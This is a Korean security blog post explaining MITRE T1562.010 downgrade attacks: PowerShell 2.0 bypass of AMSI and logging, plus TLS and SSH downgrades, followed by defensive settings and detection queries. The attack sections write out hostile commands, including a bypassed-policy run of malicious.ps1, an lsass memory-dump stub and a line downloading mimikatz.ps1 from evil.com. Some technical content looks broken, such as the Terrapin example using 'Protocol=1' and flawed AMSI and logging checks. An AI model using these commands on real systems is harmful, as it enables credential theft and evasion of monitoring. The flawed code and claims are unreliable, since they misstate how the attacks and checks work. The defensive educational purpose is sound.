COMMENTS (0)
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
PowerShell 2.0 다운그레이드로 AMSI·SBL 우회하는 T1562.010 공격 기법의 동작 원리와 TLS·SSH 프로토콜 다운그레이드 실제 사례 분석 및 방어 전략
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
PowerShell 5.0 이상에서 도입된 Script Block Logging(SBL)은 실행되는 모든 스크립트 내용을 기록하여 악성 활동을 탐지한다. 하지만 공격자들은 간단한 명령 하나로 이 보안 기능을 완전히 우회할 수 있다. 바로 powershell.exe -version 2를 실행하는 것이다.
T1562.010 다운그레이드 공격은 시스템의 하위 호환성을 악용하여 최신 보안 기능이 없는 이전 버전의 소프트웨어나 프로토콜을 강제로 사용하게 만드는 공격 기법이다. 이 기법은 공격자가 현대적인 보안 제어를 우회하고 알려진 취약점을 악용할 수 있게 해주는 강력한 Defense Evasion 전술이다.
소프트웨어 개발에서 하위 호환성은 핵심적인 요구사항이다. 기업 환경에서는 수십 년 된 레거시 시스템이 여전히 운영되고 있으며, 이런 시스템들과의 호환성을 유지하기 위해 새로운 버전도 이전 버전의 기능을 지원해야 한다.
하지만 이런 하위 호환성이 보안의 약점이 되었다. 예를 들어:
보안 기술이 발전하면서 다음과 같은 보호 기능들이 추가되었다:
하지만 공격자들은 이런 보안 발전에 대응하여 "시간을 되돌리는" 전략을 택했다. 최신 보안 기능과 싸우는 대신, 그런 기능이 없던 시절로 돌아가는 것이다.
Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls such as logging. — MITRE ATT&CK T1562.010
MITRE의 공식 정의를 해석하면, 다운그레이드 공격은 공격자가 시스템의 기능을 의도적으로 구버전으로 되돌리거나, 최신 보안 제어(로깅, 모니터링 등)를 지원하지 않는 취약한 버전을 사용하도록 강제하는 공격이다.
다운그레이드 공격은 다음 주요 요소로 구성된다:
| 용어 | 설명 |
|---|---|
| Downgrade Attack | 정의: 시스템을 구버전으로 강제 전환 / 공격 방식: 버전 롤백, 기능 비활성화 / 대상: 소프트웨어, 프로토콜 |
| Protocol Downgrade | 정의: 네트워크 프로토콜을 취약한 버전으로 협상 / 공격 방식: 핸드셰이크 조작, 암호화 약화 / 대상: TLS, SSH, Wi-Fi |
| Version Rollback | 정의: 특정 소프트웨어를 이전 버전으로 되돌림 / 공격 방식: 실행 파라미터 조작 / 대상: PowerShell, .NET Framework |
| Cipher Downgrade | 정의: 강력한 암호화를 약한 암호화로 변경 / 공격 방식: 암호화 알고리즘 협상 조작 / 대상: SSL/TLS, VPN |
1단계: 대상 시스템 정찰
공격자는 먼저 대상 시스템에서 사용 가능한 소프트웨어 버전을 확인한다.
# PowerShell 버전 확인
$PSVersionTable
# 설치된 .NET Framework 버전 확인
Get-ChildItem "HKLM:SOFTWARE\Microsoft\NET Framework Setup\NDP"
# 지원하는 TLS 버전 확인
[System.Net.ServicePointManager]::SecurityProtocol
2단계: 다운그레이드 실행
확인된 정보를 바탕으로 공격자는 구버전을 강제로 실행한다.
PowerShell 다운그레이드 예시:
# PowerShell 2.0으로 다운그레이드 (AMSI, SBL 우회)
powershell.exe -version 2 -ExecutionPolicy Bypass -File malicious.ps1
# .NET Framework 2.0 런타임 강제 사용
powershell.exe -version 2 -Command "& {[System.Environment]::Version}"
네트워크 프로토콜 다운그레이드:
# TLS 1.0으로 강제 다운그레이드
import ssl
import socket
context = ssl.SSLContext(ssl.PROTOCOL_TLSv1) # 취약한 TLS 1.0 사용
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
secure_sock = context.wrap_socket(sock)
3단계: 보안 기능 우회 확인
다운그레이드가 성공했는지 확인하고 우회된 보안 기능을 점검한다.
# AMSI 우회 확인 (PowerShell 2.0에서는 AMSI 없음)
try {
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
Write-Host "AMSI 감지됨 - 다운그레이드 실패"
} catch {
Write-Host "AMSI 없음 - 다운그레이드 성공"
}
# Script Block Logging 비활성화 확인
$GPResult = Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'}
if ($GPResult.Count -eq 0) {
Write-Host "Script Block Logging 비활성화됨"
}
4단계: 악성 활동 실행
보안 기능이 우회된 환경에서 공격자는 본격적인 악성 활동을 시작한다.
# PowerShell 2.0 환경에서 메모리 덤프 (AMSI 우회)
$code = @"
using System;
using System.Runtime.InteropServices;
public class MemDump {
[DllImport("dbghelp.dll")]
public static extern bool MiniDumpWriteDump(IntPtr hProcess, uint ProcessId,
IntPtr hFile, uint DumpType, IntPtr ExceptionParam,
IntPtr UserStreamParam, IntPtr CallbackParam);
}
"@
Add-Type -TypeDefinition $code
# lsass.exe 메모리 덤프 실행
다운그레이드 공격은 현대식 은행에서 구식 금고를 사용하도록 속이는 것과 같다.
은행(시스템)에는 최신 생체인식 보안 시스템(AMSI, Script Block Logging)이 설치되어 있지만, 도둑(공격자)이 "오늘은 시스템 점검일이니 구식 열쇠 금고를 사용하자"고 속여서 CCTV도 없고 알람도 없는 구식 금고(PowerShell 2.0)를 열게 만드는 것이다. 은행 직원들은 여전히 같은 금고를 사용한다고 생각하지만, 실제로는 보안이 전혀 없는 상태가 된 것이다.
A. PowerShell 버전 다운그레이드
PowerShell은 다운그레이드 공격의 가장 대표적인 대상이다.
| 버전 | 설명 |
|---|---|
| PowerShell 2.0 | 출시연도: 2009 / 주요 보안 기능: 기본 실행 정책만 / 다운그레이드 시 우회되는 기능: AMSI, SBL, CLM 모두 우회 |
| PowerShell 3.0 | 출시연도: 2012 / 주요 보안 기능: 향상된 cmdlet / 다운그레이드 시 우회되는 기능: AMSI, SBL 우회 |
| PowerShell 4.0 | 출시연도: 2013 / 주요 보안 기능: DSC 지원 / 다운그레이드 시 우회되는 기능: AMSI, SBL 우회 |
| PowerShell 5.0+ | 출시연도: 2016 / 주요 보안 기능: AMSI, SBL, CLM / 다운그레이드 시 우회되는 기능: 모든 보안 기능 활성화 |
B. 네트워크 프로토콜 다운그레이드
TLS/SSL 다운그레이드:
# OpenSSL을 사용한 TLS 1.0 강제 연결
openssl s_client -connect target.com:443 -tls1
# SSLv3 강제 연결 (POODLE 공격 가능)
openssl s_client -connect target.com:443 -ssl3
SSH 프로토콜 다운그레이드 (Terrapin Attack):
# SSH-2.0을 SSH-1.99로 다운그레이드
ssh -o "Protocol=1" user@target.com
공격자들이 다운그레이드 공격을 선호하는 이유는 "가장 적은 노력으로 최대 효과" 를 얻을 수 있기 때문이다.
시나리오 1: PowerShell 2.0을 이용한 메모리 덤프
공격 단계:
# 1. 현재 PowerShell 버전 확인
$PSVersionTable.PSVersion
# 2. PowerShell 2.0으로 다운그레이드
powershell.exe -version 2
# 3. AMSI 우회 확인 (PowerShell 2.0에는 AMSI 없음)
# 이제 악성 스크립트가 탐지되지 않음
# 4. Mimikatz 실행 (메모리에서 자격증명 추출)
IEX (New-Object Net.WebClient).DownloadString('http://evil.com/mimikatz.ps1')
시나리오 2: TLS 다운그레이드를 통한 중간자 공격
공격자는 클라이언트와 서버 사이에서 TLS 협상을 조작하여 약한 암호화를 강제한다.
# TLS 다운그레이드 공격 예시
import socket
import ssl
def downgrade_attack():
# 1. 클라이언트 연결 가로채기
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 2. 서버에게 TLS 1.0 연결 요청 (취약한 버전)
context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
# 3. 약한 암호화 스위트 강제
context.set_ciphers('RC4-MD5:RC4-SHA:DES-CBC3-SHA')
# 4. 중간자 공격으로 트래픽 도청
return context
사례 1: POODLE 공격 (2014년)
공격 개요: SSL 3.0의 패딩 오라클 취약점을 악용한 다운그레이드 공격
공격 방법:
피해 규모: 전 세계 대부분의 웹사이트가 SSL 3.0 지원으로 인해 취약점에 노출되었다
사례 2: Terrapin 공격 (CVE-2023-48795, 2023년)
공격 개요: SSH 프로토콜의 확장 협상 과정에서 발생하는 다운그레이드 취약점
공격 방법:
# SSH 연결 시 확장 기능 제거
ssh -o "KexAlgorithms=diffie-hellman-group14-sha1" user@target
영향: OpenSSH, PuTTY 등 주요 SSH 클라이언트/서버 전체에 영향
사례 3: WPA3 Dragonblood 취약점 (2019년)
공격 개요: WPA3의 SAE 핸드셰이크를 WPA2로 다운그레이드하는 공격
공격 결과:
1. 버전 강제 정책
PowerShell 보안 설정:
# PowerShell 2.0 완전 제거
Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root
# PowerShell 5.0 이상만 허용하는 GPO 설정
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope LocalMachine
2. 네트워크 레벨 보호
TLS 최소 버전 강제:
# Apache에서 TLS 1.2 이상만 허용
SSLProtocol TLSv1.2 TLSv1.3
# Nginx에서 약한 암호화 스위트 차단
ssl_ciphers ECDHE+AESGCM:ECDHE+AES256:!aNULL:!MD5:!DSS;
3. 모니터링 및 탐지
PowerShell 다운그레이드 탐지:
# 이벤트 로그에서 PowerShell 2.0 실행 탐지
Get-WinEvent -FilterHashtable @{
LogName='Windows PowerShell'
ID=400
} | Where-Object {$_.Message -like "*Engine Version: 2.*"}
네트워크 트래픽 모니터링:
# Wireshark 필터로 약한 TLS 버전 탐지
tls.handshake.version == 0x0301 # TLS 1.0
tls.handshake.version == 0x0300 # SSL 3.0
4. 보안 체크리스트
T1562.010 다운그레이드 공격은 시스템의 하위 호환성을 악용하여 최신 보안 기능을 우회하는 정교한 공격 기법이다. 공격자들은 새로운 취약점을 찾는 대신 "시간을 되돌려" 보안이 약했던 시절의 환경을 인위적으로 재현한다.
이 공격이 특히 위험한 이유는 정상적인 시스템 기능을 악용 하기 때문에 탐지가 어렵고, 기존의 알려진 취약점 을 활용하므로 성공률이 높다는 점이다. PowerShell 2.0으로의 다운그레이드 하나만으로도 AMSI, Script Block Logging, Constrained Language Mode 등 수년간 발전한 보안 기능들을 모두 무력화할 수 있다.
방어를 위해서는 구버전 소프트웨어의 완전한 제거, 최소 프로토콜 버전 강제, 그리고 다운그레이드 시도에 대한 실시간 모니터링이 중요하다. 특히 EDR 우회 공격 12가지 방법과 연계하여 사용될 때 더욱 치명적이므로, 포괄적인 보안 전략이 필요하다.
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.